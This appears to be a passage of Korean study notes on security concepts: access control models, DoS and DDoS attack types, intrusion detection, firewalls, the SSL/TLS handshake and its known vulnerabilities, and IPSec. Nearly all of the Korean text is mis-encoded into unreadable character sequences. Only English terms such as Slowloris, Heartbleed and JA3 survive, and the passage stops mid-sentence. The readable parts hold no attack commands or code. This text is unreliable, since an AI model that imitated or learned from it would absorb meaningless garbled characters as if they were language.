๊ถํ ์์น ์ง๋ฌด ๋ถ๋ฆฌ ์์น ์ ๊ทผ ์ ์ด ๊ธฐ๋ณธ ์์ ์ฃผ์ : ๊ฐ์ฒด์ ์ ๊ทผ ๊ฐ๋ฅํ ์กด์ฌ : user, group, other ๊ฐ์ฒด : ์ ๊ทผ์ด ์ ์ด๋๋ ์์ : ํ์ผ ๋๋ ๋ ์ฝ๋ ์ ๊ทผ ๊ถํ : ์ฃผ์ฒด๊ฐ ๊ฐ์ฒด์ ์ ๊ทผํ ์ ์๋ ๋ฐฉ๋ฒ : ์ฝ๊ธฐ, ์ฐ๊ธฐ, ์คํ ๋ฑ ์ ๊ทผ ์ ์ด ์๊ตฌ ์ฌํญ ๋ซํ ์ ์ฑ
: ํ์ดํธ๋ฆฌ์คํธ ๊ด๋ฆฌ ์ด๋ฆฐ ์ ์ฑ
: ๋ธ๋๋ฆฌ์คํธ ๊ด๋ฆฌ ์ ๊ทผ ์ ์ด ์ ์ฑ
์์ ์ ๊ทผ ์ ์ด (DAC) ๊ฐ์ ์ ์ ๊ทผ ์ ์ด (MAC) ์ญํ ๊ธฐ๋ฐ ์ ๊ทผ ์ ์ด (RBAC) ์์ฑ ๊ธฐ๋ฐ ์ ๊ทผ ์ ์ด (ABAC) ์์ ์ ๊ทผ ์ ์ด (DAC, ์์จ์ ์ ๊ทผ ์ ์ด) ํ ๊ฐ์ฒด๊ฐ ์์ ์ ์์ง๋๋ก ๋ค๋ฅธ ๊ฐ์ฒด์๊ฒ ๊ถํ์ ๋ถ์ฌํ๋ ๋ฐฉ์
์ ๊ทผ ์ ์ด ๋ชฉ๋ก (access control list) > ๊ฐ์ฒด๋ณ๋ก ์ ๊ทผ ๊ถํ์ ๋ช
์ํ๋ ๋ฐฉ์ ์ธ๊ฐ ํ
์ด๋ธ ํ์ฅ๋ ์ ๊ทผ ์ ์ด ๋งคํธ๋ฆญ์ค UNIX ํ์ผ ์ ๊ทผ ์ ์ด Set-UID : ์คํํ ๋, euid๋ฅผ ์์ ์์ id๋ก ์ค์ ๋จ ex) -rwsr-xr-x : 4755 Set-GID : ์คํํ ๋, egid๋ฅผ ์์ ๊ทธ๋ฃน์ id๋ก ์ค์ ๋จ ex) -rwxr-sr-x : 2755 ํจ์ค์๋ ํ์ผ : /etc/shadow : ———- : 000 ์ญํ ๊ธฐ๋ฐ ์ ๊ทผ ์ ์ด ์ฌ์ฉ์์ ์ญํ ์ ๋ฐ๋ผ ์ ๊ทผ ๊ถํ์ ๋ถ์ฌํ๋ ๋ฐฉ์
์ญํ ๊ณ์ธต - RBAC1 ์ญํ ๊ตฌ์กฐ๋ ๊ธฐ๊ด ๋ด ์ญํ ์ ๊ณ์ธต ๊ตฌ์กฐ๋ฅผ ๋ํ๋ด๋ ์๋จ
์ ์ฝ(์ ์ ์กฐ๊ฑด)์ ์๋ฏธ์ ์ข
๋ฅ - RBAC2 ์ ์ฝ์ ์ข
๋ฅ ์ํธ ๋ฐฐํ์ ์ธ ์ญํ : ์ง๋ฌด์ ๋ฅ๋ ฅ์ ๋ถ๋ฆฌ cardinality : ์ญํ ์ ๊ดํ ์ต๋์ซ์๋ฅผ ์ค์ ์ ์ ์กฐ๊ฑด : ํน์ ์ญํ ์ด ๋ค๋ฅธ ๋ช
์๋ ์ญํ ์ ํ ๋น ๋์๋ค๋ฉด, ์ฌ์ฉ์๋ ๊ทธ ์ญํ ์๋ง ํ ๋น๋ ์ ์๋ค ์์ฑ ๊ธฐ๋ฐ ์ ๊ทผ ์ ์ด ์์๊ณผ ์ฃผ์ฒด์ ์ฑ์ง์ ํน์ฑ์ ๋ํ ์กฐ๊ฑด์ ํํํ์ฌ ์ ๊ทผ ๊ถํ์ ์ ์ํ๋ ๋ฐฉ์
ABAC ๋ชจ๋ธ์ 3๊ฐ์ง ์ฃผ์ ์์ ๊ตฌ์ฑ ๋ด์ ์กด์ฌ๋ฅผ ์ํด ์ ์๋ ์์ฑ ABAC ์ ์ฑ
์ ์ํด ์ ์๋ ์ ์ฑ
๋ชจ๋ธ ์ ๊ทผ ์ ์ด ์คํ์ ์ํ ์ ์ฑ
์ ์ ์ฉ๋๋ ๊ตฌ์กฐ ๋ชจ๋ธ ์์ฑ ์ฃผ์ฒด, ๊ฐ์ฒด ํ๊ฒฝ ์กฐ๊ฑด, ๊ถํ์ ์ํด ๋ฏธ๋ฆฌ ์ ์๋๊ณ ํ ๋น๋ ์๊ตฌ ๋์์ ํน์ ์ธก๋ฉด์ ์ ์ํ๋ ์ฑ์ง
์ ํ ์ฃผ์ฒด ์์ฑ : ์ฌ์ฉ์, ์์ฉ ํ๋ก๊ทธ๋จ, ํ๋ก์ธ์ค, ๋๋ฐ์ด์ค ๊ฐ์ฒด ์์ฑ : ๋๋ฐ์ด์ค, ํ์ผ, ํ๋ก๊ทธ๋จ, ๋คํธ์ํฌ ๋ฑ ํ๊ฒฝ ์์ฑ : ๋ ์ง, ์๊ฐ, ๋คํธ์ํฌ ๋ณด์ ๋ ๋ฒจ ๋ฑ ABAC์ ๋
ผ๋ฆฌ ๊ตฌ์กฐ ACL ์ ๊ทผ ์ฒด์ธ ABAC ์ ๋ขฐ ์ฒด์ธ ์ ์ฑ
์กฐ์ง ๋ด์์ ์ฃผ์ฒด์ ๊ถํ๊ณผ ํ๊ฒฝ ์กฐ๊ฑด์์ ์์ ํน์ ๊ฐ์ฒด๋ค์ด ๋ณดํธ๋๋ ๊ฒ์ ๊ธฐ๋ฐํ ํ๊ฐ๋ ํ์๋ฅผ ๊ด๋ฆฌํ๋ ๊ท์น๊ณผ ๊ด๊ณ์ ์งํฉ
๊ฐ์ ์ ์ ๊ทผ ์ ์ด (MAC) ๊ฐ์ฒด์ ํฌํจ๋ ์ ๋ณด์ ๋น๋ฐ์ฑ๊ณผ ์ด๋ฌํ ๋น๋ฐ์ฑ์ ์ ๊ทผ ์ ๋ณด์ ๋ํ์ฌ ์ฃผ์ฒด๊ฐ ๊ฐ๋ ๊ถํ์ ๊ทผ๊ฑฐํ์ฌ ๊ฐ์ฒด์ ๋ํ ์ ๊ทผ์ ์ ํํ๋ ๋ฐฉ๋ฒ
๊ธฐ๋ฐ์ฑ์ ๋ฐ๋ฅธ ์ ๊ทผ ๊ถํ ์ ์ด No read up (๋จ์ ๋ณด์ ์์ฑ) ๋ณด์ ์์ค์ด ๋ฎ์ ์ฃผ์ฒด๋ ๋ณด์ ์์ค์ด ๋์ ๊ฐ์ฒด๋ฅผ ์ฝ์ ์ ์์
No write down (*(์คํ) ๋ณด์ ํน์ฑ) ๋ณด์ ์์ค์ด ๋์ ์ฃผ์ฒด๋ ๋ณด์ ์์ค์ด ๋ฎ์ ๊ฐ์ฒด์ ๊ธฐ๋กํ ์ ์์
๋ฌด๊ฒฐ์ฑ์ ๋ฐ๋ฅธ ์ ๊ทผ ๊ถํ ์ ์ด No read up (๋จ์ ๋ฌด๊ฒฐ์ฑ ํน์ฑ) ๋ณด์ ์์ค์ด ๋์ ์ฃผ์ฒด๋ ๋ณด์ ์์ค์ด ๋ฎ์ ๊ฐ์ฒด๋ฅผ ์ฝ์ ์ ์์
No write down (*(์คํ) ๋ฌด๊ฒฐ์ฑ ํน์ฑ) ๋ณด์ ์์ค์ด ๋ฎ์ ์ฃผ์ฒด๋ ๋ณด์ ์์ค์ด ๋์ ๊ฐ์ฒด์ ๊ธฐ๋กํ ์ ์์
์ ์, ์ ์ฉ์ฅ, ์ ๊ทผ ๊ด๋ฆฌ (ICAM) ์๋น์ค ๊ฑฐ๋ถ ๊ณต๊ฒฉ ์๋น์ค ๊ฑฐ๋ถ ๊ณต๊ฒฉ ๊ณต๊ฒฉํ ์ ์๋ ์์ : ๋คํธ์ํฌ ๋์ญํญ, ์์คํ
์์, ์์ฉ ํ๋ก๊ทธ๋จ ์์ ์ ํต์ ์ธ DoS ๊ณต๊ฒฉ ํ๋ฌ๋ฉ ํ ๋ช
๋ น ๋์ ์กฐ์ง์ ๋ํด ๋คํธ์ํฌ ์ฐ๊ฒฐ ๊ธฐ๋ฅ์ ์ ์ํ๋ ๊ฒ์ด ๋ชฉ์
์์ ์ฃผ์ ์คํธํ ์์กฐ๋ ์์ค ์ฃผ์ ์ฌ์ฉ ํ๋ฐฉ ์ฐ๋(backscatter) ํธ๋ํฝ์ ์ด์ฉํด ๋์ SYN ์คํธํ ์ผ๋ฐ์ ์ธ DoS๊ณต๊ฒฉ ์ฐ๊ฒฐ์ ๊ด๋ฆฌํ๋ ํ
์ด๋ธ์ ๋์น๊ฒ ํจ Flooding ๊ณต๊ฒฉ์ ๋นํด ์ ์ ํธ๋ํฝ์ผ๋ก ๊ณต๊ฒฉ ๊ฐ๋ฅ ๊ณต๊ฒฉ์ ์
์ฅ ์คํธํ๋ ์์คํ
์ด ์กด์ฌํ๋ค๋ฉด Reset ํจํท์ ์์ ์กด์ฌํ์ง ์์ผ๋ฉด ํ์ด๋จธ์ ์ํ ์ฌ์ ์ก ํ ์ํธ๋ฆฌ ์ญ์ Reset์ผ๋ก ๋ฐ์ํ์ง ์๋ ์ฃผ์๋ฅผ ์ฌ์ฉ ํ๋ฌ๋ฉ ๊ณต๊ฒฉ ํ๋กํ ์ฝ์ ๋ฐ๋ผ ๋ถ๋ฅ ICMP ํ๋ฌ๋ฉ UDP ํ๋ฌ๋ฉ TCP SYN ํ๋ฌ๋ฉ DDoS (Distributed Denial of Service) ์ฌ๋ฌ ๋์ ์ปดํจํฐ๋ฅผ ์ฌ์ฉํ์ฌ ๋์ ์์คํ
์ ๊ณต๊ฒฉํ๋ ๋ฐฉ์
๋ถ์ฐ ์๋น์ค ๊ฑฐ๋ถ ๊ณต๊ฒฉ ์์ฉํ๋ก๊ทธ๋จ ๊ธฐ๋ฐ ๋์ญํญ ๊ณต๊ฒฉ ์ธ์
๊ฐ์ ํ๋กํ ์ฝ(SIP) ํ๋ฌ๋ ์ธ์
๊ฐ์ ํ๋กํ ์ฝ : VoIP ๊ธฐ์ ์ ๋ํ ํ์ค ํ๋กํ ์ฝ HTTP ๊ธฐ๋ฐ ๊ณต๊ฒฉ ์คํ์ด๋๋ง(spidering) ํน์ HTTP ๋งํฌ์์ ์์๋๋ฉฐ, ์ฌ๊ท์ ๋ฐฉ์์ผ๋ก ์ ๊ณต๋๋ ์น์ฌ์ดํธ์ ๋ชจ๋ ๋งํฌ๋ฅผ ๋ฐ๋ฅด๋ ๋ด
R-U-DEAD-YET (RUDY) ๊ณต๊ฒฉ Content-Length๋ฅผ ํฌ๊ฒ ์ค์ ํ์ฌ ์๋ฒ์ ์ง์ฐ์ ์ ๋ฐํ๋ ๊ธฐ๋ฒ
Slowloris ๊ณต๊ฒฉ ๋น์ ์์ ์ธ ํค๋ ๊ฐ์ ์๋ฒ๋ก ์์ฒญํ์ฌ ์ฐ๊ฒฐ์ ์ ์งํ์ฌ, ์๋ฒ๊ฐ ํค๋๋ฅผ ๊ธฐ๋ค๋ฆฌ๊ฒ ํ๋ ๊ณต๊ฒฉ
๋ฐ์ฌ ๋ฐ ์ฆํญ ๊ณต๊ฒฉ ๋ฐ์ฌ ๊ณต๊ฒฉ TCP SYN ์คํธํ ๊ณต๊ฒฉ DNS ๋ฐ์ฌ ๊ณต๊ฒฉ ์ฆํญ ๊ณต๊ฒฉ (smurfs) DNS ์ฆํญ ๊ณต๊ฒฉ ๊ณต๊ฒฉ์๊ฐ ํ๊ฒ ์์คํ
์ ์คํธํ ์์ค ์ฃผ์๋ฅผ ๋ด๊ณ ์๋ DNS ์ฐ์์ ์์ฒญ ์ ์ ์์ฒญ์ผ๋ก ๋ง์ ํธ๋ํฝ์ ๋ฐ์์ํค๋ DNS ํ์๋ฅผ ์ด์ฉ ๋ฐฉ์ด์ฑ
: ์คํธํ ์์ค ์ฃผ์์ ์ฌ์ฉ์ ๋ฐฉ์ง DoS ๊ณต๊ฒฉ ๋ฐฉ์ด, ์๋ฐฉ, ๋์ DoS ๊ณต๊ฒฉ ์๋ฐฉ ์คํธํ ์์ค ์ฃผ์ ์ฐจ๋จ TCP ์ฐ๊ฒฐ ๊ด๋ จ ์ฝ๋๋ฅผ ์์ IP ๋ค์ด๋ ํธ ๋ธ๋ก๋์บ์คํ
๊ธฐ๋ฅ ์ฐจ๋จ ์์ฌ์ค๋ฌ์ด ์๋น์ค๋ ๋ถํธ์กฐํฉ ์ฐจ๋จ capcha๋ฅผ ์ด์ฉํด ์๋ํ๋ ์์ฒญ ์ฐจ๋จ ์๋ง์ ํ์ค ์์คํ
๋ณด์ ๊ดํํ ๋ฏธ๋ฌ ์๋ฒ ๋๋ ๋ณต์ ์๋ฒ์ ์ฌ์ฉ DoS ๊ณต๊ฒฉ ๋์ ๊ณต๊ฒฉ ์ ํ ํ์ธ : ํจํท ์บก์ฒ ISP๋ก ํจํท์ ํ๋ฆ์ ์ญ์ถ์ : ๋์ ๋น์ฉ ๋ฐ์ ๋น์ ์ฌํ ๊ณํ ๊ตฌํ ์ฌ๊ณ ๋์ ๊ณํ ์
๋ฐ์ดํธ DNS ์ฑํฌํ ์ ์ฉ ์ข๋น์ C&C ์๋ฒ์ ํต์ ์ ์ฐจ๋จํ๋ ๋ฐฉ๋ฒ
DDoS ๋ํผ์ ์นจ์
ํ์ง์ ์นจ์
์ฐจ๋จ ์นจ์
์ ์นจ์
์ ์ ํ ์ฌ์ด๋ฒ ๋ฒ์ฃ์ ํดํน์ฃผ์์ ์ ๋ถ ํ์ ์ง๋จ ๊ธฐํ ํ๋ ํจํด ๊ณต๊ฒฉ ๋์ ํฌ์ฐฉ ๋ฐ ์ ๋ณด ์์ง ์ด๊ธฐ ์ ์ ๊ถํ ์์น ์ ๋ณด ์์ง ๋๋ ์์คํ
๊ณต๊ฒฉ ์ ๊ทผ ๊ด๋ฆฌ ์ถ์ ํํผ ์นจ์
ํ์ง ๋ณด์ ์นจ์
: ์นจ์
์๊ฐ ํ๊ฐ ๊ถํ ์์ด ์์คํ
(๋๋ ์์)์ ๋นผ๋ด๊ฑฐ๋ ์ก์ธ์คํ๋ ค๋ ์๋๋ก ๊ตฌ์ฑ๋ ์ฌ๊ฑด์ ์กฐํฉ ์นจ์
ํ์ง : ํ๊ฐ๋์ง ์์ ๋ฐฉ์์ผ๋ก ์์คํ
์์์์์ ์ ๊ทผ ์๋๋ฅผ ๋ฐ๊ฒฌ ๋ฐ ์ค์๊ฐ์ผ๋ก ์๋ ค์ฃผ๋ ๋ชฉ์ ์ ์์คํ
์ ๋ชจ๋ํฐ๋งํ๊ณ ๋ถ์ํ๋ ๋ณด์ ์๋น์ค ์นจ์
ํ์ง ์์คํ
(IDS) ํธ์คํธ ๊ธฐ๋ฐ IDS ๋คํธ์ํฌ ๊ธฐ๋ฐ IDS ๋ถ์ฐ IDS ๋๋ ํ์ด๋ธ๋ฆฌ๋ IDS ๋ถ์ ๋ฐฉ๋ฒ ์ด์ ์งํ ํ์ง ํ๋ ๊ธฐ๋ฐ ํ์ง : ํ๋ ํจํด์ ๊ธฐ๋ฐ์ผ๋ก ํ์ง ์๊ทธ๋์ฒ ํ์ง : ์๋ ค์ง ๊ณต๊ฒฉ ํจํด์ ๊ธฐ๋ฐ์ผ๋ก ํ์ง ์๊ทธ๋์ฒ ๋ฐฉ์ ๋๋ ํด๋ฆฌ์คํฑ ๋ฐฉ์ ํธ์คํธ ๊ธฐ๋ฐ IDS HIDS ์ทจ์ฝํ๊ฑฐ๋ ๋ฏผ๊ฐํ ์์คํ
์ ํน์ ๋ณด์ ์ํํธ์จ์ด ๊ณ์ธต์ ์ถ๊ฐ
๋ฐ์ดํฐ ์์ค ์์คํ
ํธ์ถ ์ถ์ ๋ก๊ทธ ํ์ผ ๋ค์ดํฐ๋ธ ๊ฐ์ฌ ๊ธฐ๋ก : ์์คํ
์ด ์์ฑํ๋ ๋ก๊ทธ ํ์ผ ํน์ ๊ฐ์ฌ ๊ธฐ๋ก : IDS์ ์ํด ์๊ตฌ๋ ์ ๋ณด๋ง์ ๊ธฐ๋กํ๋ ์์ง ์์ค ํ์ผ ๋ฌด๊ฒฐ์ฑ ์ฒดํฌ์ฌ ๋ ์ง์คํธ๋ฆฌ ์ก์ธ์ค USTAT ์ก์
vs SunOS ์ด๋ฒคํธ ์ ํ ๋ถ์ฐ ํธ์คํธ ๊ธฐ๋ฐ ์นจ์
ํ์ง ๋คํธ์ํฌ ๊ธฐ๋ฐ IDS NIDS ๋คํธ์ํฌ ํธ๋ํฝ์ ๋ชจ๋ํฐ๋งํ์ฌ ์นจ์
์ ํ์ง
NIDS ์ผ์ ๋ฐฐ์น ์ธ๋ผ์ธ ์ผ์ : ๋คํธ์ํฌ ์ธ๊ทธ๋จผํธ์ ์ฝ์
๋์ด ๊ทธ ์ผ์๋ฅผ ํต๊ณผํ๋ ํธ๋ํฝ๋ง ๊ฐ์ง ์๋ ์ผ์ : ๋คํธ์ํฌ ํธ๋ํฝ ์ฌ๋ณธ์ ๊ฐ์ ์นจ์
ํ์ง ๊ธฐ๋ฒ ์๊ทธ๋์ฒ ํ์ง ์ด์ ์งํ ๊ฐ์ง Stateful protocol analysis ํธ๋ํฝ์ ์ํ๋ฅผ ์ถ์ ํ์ฌ ๋น์ ์์ ์ธ ํธ๋ํฝ์ ํ์ง
๋ฐฉํ๋ฒฝ ๊ธฐ๋ฅ ์ ๊ทผ ํต์ ์ฌ์ฉ์ ์ธ์ฆ ๊ฐ์ฌ ๋ฐ ๋ก๊ทธ ๊ธฐ๋ฅ ์ฃผ์ ๋ณํ ๊ธฐ๋ฅ (NAT) ์ข
๋ฅ ํธ์คํธ ๊ธฐ๋ฐ ๋ฐฉํ๋ฒฝ ๋คํธ์ํฌ ๊ธฐ๋ฐ ๋ฐฉํ๋ฒฝ ํตํฉ ์ํ ๊ด๋ฆฌ (UTM) ๋ฐฉํ๋ฒฝ, IDS, IPS, ๋ฐฑ์ ๋ฑ์ ๋ค์ํ ๋ณด์์๋ฃจ์
์ ๊ธฐ๋ฅ์ ํ๋๋ก ํตํฉํ ์ฅ๋น
ํธ์์ฑ์ด ๋๊ณ ๋น์ฉ์ ์ ๊ฐํ ์ ์์ ํ๋ํ ๊ณต๊ฒฉ์์ ๊ณต๊ฒฉ์ ์ ๋ํ์ฌ ๊ณต๊ฒฉ์์ ํ๋์ ๋ถ์ํ๋ ์์คํ
์ค๋
ธํธ ํธ์คํธ ๋๋ ๋คํธ์ํฌ ๊ธฐ๋ฐ์ ์คํ์์ค IDS
ํจํท ๋์ฝ๋ : ํ๋กํ ์ฝ ํค๋ ์๋ณ ๋ฐ ๊ฒฉ๋ฆฌ ํ์ง ์์ง : ๊ท์น ์งํฉ์ ๊ธฐ๋ฐ์ผ๋ก ๊ฐ ํจํท์ ๋ถ์ ๋ก๊ฑฐ : ๊ท์น๊ณผ ์ผ์นํ๋ ๊ฐ ํจํท์ ์ํ์ผ๋ก ์ ์ฅ ๊ฒฝ๊ณ : ํ์ง๋ ํจํท์ ๋ํด ๊ฒฝ๊ณ ๋ฅผ ๋ณด๋ SSL/TLS/VPN SSL์ ๊ธฐ๋ณธ ๊ฐ๋
SSL/TLS ํ๋กํ ์ฝ ๊ตฌ์ฑ Handshake Layer : Handshake, Cipher spec ๋ณ๊ฒฝ, Alert ํ๋กํ ์ฝ๋ก ๊ตฌ์ฑ Record Layer : ๋จํธํ, ์์ถ, ๋ฌด๊ฒฐ์ฑ, ์ํธํ ๊ธฐ๋ฅ์ ์ ๊ณตํ๋ Record ํ๋กํ ์ฝ๋ก ๊ตฌ์ฑ SSL/TLS Handshake client->server hello server->client hello certificate : ์๋ฒ ์ธ์ฆ์ server key exchange : ์๋ฒ ํค ๊ตํ certificate_request : ํด๋ผ์ด์ธํธ ์ธ์ฆ์ ์์ฒญ (์ ํ) hello done client->server certificate : ํด๋ผ์ด์ธํธ ์ธ์ฆ์ (์ ํ) client key exchange : ํด๋ผ์ด์ธํธ ํค ๊ตํ certificate_verify : ์๋ฒ ์ธ์ฆ์ ๊ฒ์ฆ (์ ํ) change cipher spec finished server->client change cipher spec finished Change Cipher Spec Protocol ์๋๋ฐฉ์๊ฒ ์๋ก์ด ์ํธํ ๋ฐฉ์์ ์ฌ์ฉํ๋๋ก ์๋ฆฌ๊ธฐ ์ํด ์ฌ์ฉ
Alert Protocol ์ค๋ฅ ๋ฐ์์ ์๋๋ฐฉ์๊ฒ ์ค๋ฅ๋ฅผ ํต๋ณดํ๊ธฐ ์ํด ์ฌ์ฉ
๊ฒฝ๊ณ ์ ์ฌ๊ฐ์ผ๋ก ๋ถ๋ฅ, ์ฌ๊ฐ์ ๊ฒฝ์ฐ ์ฐ๊ฒฐ ์ข
๋ฃ Record Protocol ๋์๊ณผ์ : ๋จํธํ -> ์์ถ(์ ํ) -> MAC ์ฒจ๋ถ -> ์ํธํ -> SSL ๋ ์ฝ๋ ํค๋ ๋ถ์ด๊ธฐ MAC : ํค ๊ณต์ ๊ณผ์ ์์ ๋์ถ๋ ๋น๋ฐํค ์ฌ์ฉ ์ํธํ : ์์ถ๋ ๋ฉ์์ง์ MAC์ ๋์นญ ์ํธ๋ก ์ํธํ SSL vs TLS Handshake์์์ ์ฐจ์ด์ TLS๋ก ๋ฐ์ ํ๋ฉด์ Handshake ํ๋ก์ธ์ค๋ฅผ ์ค์ ์ฌ์ฉํ๋ ์ด ์ํธ ๊ทธ๋ฃน ์๋ฅผ ์ค์ฌ ํ๋ก์ธ์ค ์๋๋ฅผ ํฅ์ Alert์์์ ์ฐจ์ด์ ์๋ฆผ ๋ฉ์์ง ์ ํ์ด ์ถ๊ฐ๋จ TLS Alert๋ ๋ณด์์ ์ํด ์ํธํ๋์ด ์ ์ก๋จ ๋ฉ์์ง ์ธ์ฆ์์์ ์ฐจ์ด์ SSL์ MAC์ ์ฌ์ฉ, TLS๋ HMAC์ ์ฌ์ฉ Cipher suite์์์ ์ฐจ์ด์ ์ทจ์ฝํ ์๊ณ ๋ฆฌ์ฆ(RC4, DES) ์ฌ์ฉ ์ค๋จ ์ ๊ท ํค ๊ตํ, ๊ฒ์ฆ, ์ํธํ, MAC ์๊ณ ๋ฆฌ์ฆ ์ ์ฉ TLS๋ ๋ฒ์ ๋ณ๋ก ์ง์ํ๋ Cipher suite๊ฐ ๋ค๋ฆ SSL/TLS ํ์ฉ TLS ์๋ฒ ๊ตฌ์ถ ๋ฐฉ๋ฒ ํค์ ์์ฑ ์์ฑํ ๊ณต๊ฐํค๋ฅผ ๋ฃ์ด์ CSR ์์ฑ, ๊ฐ์ธํค๋ก ์ ์ ์๋ช
CSR์ ์ธ์ฆ์ ๋ฐ๊ธ๊ธฐ๊ด์ ์ ์ก ์ธ์ฆ์ ๋ฐ๊ธ๊ธฐ๊ด์ CSR์ ์ ์ ์๋ช
์ CSR์ ํฌํจ๋ ๊ณต๊ฐํค๋ก ์๋ช
๊ฒ์ฆ ์ฌ์ฉ์์ ๊ณต๊ฐํค์ ์ถ๊ฐ์ ๋ณด(๋๋ฉ์ธ, ์ด๋ฉ์ผ ๋ฑ)๋ฅผ ์ถ๊ฐํ์ฌ SSL ์ธ์ฆ์ ๋ฐ๊ธ ์น์๋ฒ์ ์ ์ฉ SSL/TLS ์๋ฒ์ ๋ณด์ ๊ฐํ HSTS (HTTP Strict Transport Security) HTTPS๋ก๋ง ํต์ ํ๋๋ก ๊ฐ์ ํ๋ ๊ธฐ์
ํค๋์ Strict-Transport-Security๋ฅผ ์ค์ max-age ๊ธฐ๊ฐ๋์ ์๋ ์ ์ฉ SSL/TLS ์ทจ์ฝ์ TLSv1.2์ด์ ์ ํ๋กํ ์ฝ์ ์ทจ์ฝ์ ์ด ์กด์ฌ POODLE (Padding Oracle On Downgraded Legacy Encryption) ๋ธ๋ก ์ํธํ ๊ธฐ๋ฒ์ธ CBC ๋ชจ๋ ์ฌ์ฉ์ ์ํธ๋ฌธ์ด MAC์ ์ํด ๋ณดํธ๋์ง ์๋ ์ทจ์ฝ์
DROWN (Decrypting RSA with Obsolete and Weakened eNcryption) ๊ณต๊ฒฉ์๊ฐ SSLv2 proves๋ฅผ ์ก์ ํ์ฌ ํค๋ฅผ ์ฐพ์๋ผ ์ ์๋ ์ทจ์ฝ์
BEAST (Browser Exploit Against SSL/TLS) CBC์ ์ทจ์ฝ์ ์ ์ด์ฉํด HTTPS ์ฟ ํค๋ฅผ ํด๋
ํ ์ ์๋ ์ทจ์ฝ์
FREAK (Factoring RSA Export Keys) SSL ์๋ฒ๊ฐ ๊ณต๊ฒฉ์ ์ํด ์์ถ์ฉ RSA๋ฅผ ํ์ฉํ๋๋ก ๋ค์ด๊ทธ๋ ์ด๋ ์ํจํ Brute-force๋ก ํค๋ฅผ ์ฐพ์๋ด๋ ์ทจ์ฝ์
Logjam SSL ์๋ฒ๊ฐ ๊ณต๊ฒฉ์ ์ํด ์์ถ์ฉ DHE๋ฅผ ํ์ฉํ๋๋ก ๋ค์ด๊ทธ๋ ์ด๋ ์ํจํ Brute-force๋ก ํค๋ฅผ ์ฐพ์๋ด๋ ์ทจ์ฝ์
Heartbleed OpenSSL 1.0.1์ ๋ฉ๋ชจ๋ฆฌ ๋์ ์ทจ์ฝ์
์ทจ์ฝ์ ๋์ ์๋ฒ ๊ด๋ฆฌ์ : ์ทจ์ฝํ ํ๋กํ ์ฝ, Cipher suite๋ฅผ ์ฌ์ฉํ์ง ์๋๋ก ์ค์ , ์ฒ ์ ํ ๋น๋ฐํค ๊ด๋ฆฌ ํด๋ผ์ด์ธํธ ์ฌ์ฉ์ : ์ต์ ๋ฒ์ ์ ๋ธ๋ผ์ฐ์ ์ ์ง, ์๋ฒ์ ์ธ์ฆ์ ํ์ธ, ์์ ํ์ง ์์ ์ฌ์ดํธ ๋ฐฉ๋ฌธ ์์ ๊ณตํต : ์ต์ SLS/TLS ํ๋กํ ์ฝ ์ํํธ์จ์ด ์ฌ์ฉ HTTPS ํจํท ์ฐจ๋จ ๊ธฐ์ ๋ฐ ์ด์ DNS ์๋ฒ ์๋ต ๋ณ์กฐ ๋ฐ IP ์ฐจ๋จ DNS ์๋ฒ์ ์๋ต์ ๋ณ์กฐํ์ฌ HTTPS ์ ์์ ์ฐจ๋จํ๋ ๊ธฐ์
CDN ์๋ฒ ๊ฒฝ์ ๋ฅผ ํตํด ์ฐํํ๋ ์ฌ๋ก๊ฐ ๋ฑ์ฅ -> ํจํท ๋ถ์ ๊ธฐ๋ฐ ์ฐจ๋จ ํจํท ๋ถ์ ๊ธฐ๋ฐ ์ฐจ๋จ ํจํท์ ๋ถ์ํ์ฌ HTTPS ํจํท์ ์ฐจ๋จํ๋ ๊ธฐ์
DPI (Deep Packet Inspection) : ํจํท์ ํค๋์ ํ์ด๋ก๋๋ฅผ ๋ถ์ํ์ฌ ์ฐจ๋จ HTTPS SNI ๊ธฐ๋ฐ ์ฐจ๋จ TLS ํต์ ํ์ค์ ์ญ์ด์ฉํ ์ฐจ๋จ ๋ฐฉ๋ฒ SNI๋ Client Hello ๋จ๊ณ์์ ํ๋ฌธ์ผ๋ก ์ ์ก๋๋ค๋ ํน์ฑ์ ํ์ฉํ์ฌ ์ฐจ๋จ TLS ์
์ฉ๊ณผ ๋์ ๊ธฐ์ ์
์ฉ์ฌ๋ก ์ ๋ณด ์ ์ถ ๊ฒฝ๋ก๋ก์ ์
์ฉ SSL/TLS ๊ธฐ์ ์ ์ญ์ด์ฉํ์ฌ ๋ด๋ถ ์ ๋ณด ์ ์ถ ์ ๋ด์ฉ์ ์ ์ ์๋๋ก ํจ
์
์ฑ ์ฝ๋ ์ ์
ํต๋ก๋ก์ ์
์ฉ SSL/TLS ๊ธฐ์ ์ ์ด์ฉํ์ฌ ์
์ฑ ์ฝ๋๋ฅผ ์ ํฌํ๋ ํต๋ก๋ก ์ฌ์ฉ
๋์ ๊ธฐ์ TLS ๊ฐ์์ฑ ํ๋ณด ๊ธฐ์ SSL/TLS์ ๋ณตํธํ ํด ๊ฐ์์ฑ์ ํ๋ณดํ๋ ๊ธฐ์
TLS Fingering ๊ธฐ์ TLS Handshake ๋ฐ ํธ๋ํฝ์์ ํน์ง์ ์ถ์ถํ์ฌ ํด๋ผ์ด์ธํธ ๋ฐ ์๋ฒ๋ฅผ ์๋ณํ๋ ๊ธฐ์
๋ฉ์์ง๋ฅผ ์ฑ์ทจ -> ํ๋ ์ถ์ถ -> ์ง๋ฌธ ๋ฐ์ดํฐ ์์ฑ -> ์ ์ฅ ๋ฐ ๋น๊ต ๊ธฐ๋ฒ ์ฌ์ฉ ์์ : JA3, ์ธ๊ณต์ง๋ฅ ๊ธฐ๋ฐ ๊ธฐ์ IPSec IP ํจํท์ ๋ณดํธํ๊ธฐ ์ํ ํ๋กํ ์ฝ
IPSec ๊ฐ์ ์ ๊ณต : ์ธ์ฆ, ๊ธฐ๋ฐ์ฑ, ํค ๊ด๋ฆฌ ๋ ๊ฐ์ง ๋ชจ๋ ์ ์ก ๋ชจ๋ : ํ์ด๋ก๋๋ง ์ํธํ ํฐ๋ ๋ชจ๋ : ํค๋์ ํ์ด๋ก๋ ๋ชจ๋ ์ํธํ ํ๋กํ ์ฝ AH(Authentication Header) ์ ๊ณต : ์ธ์ฆ, ๋ฌด๊ฒฐ์ฑ ESP(Encapsulating Security Payload) ์ ๊ณต : ์ธ์ฆ, ๊ธฐ๋ฐ์ฑ, ๋ฌด๊ฒฐ์ฑ ESP ๋จ๋
์ฌ์ฉ ๋๋ ESP+AH ์ฌ์ฉ(ํฐ๋๋ชจ๋) IKE (Internet Key Exchange) ์ํฉ ์ฌ์ด๋ ํ๋ก์ ํธ “์๋ก"์ ๊ฐ๋ฐํ๋ ์ค, ์ฌ์ฉ์๊ฐ ์
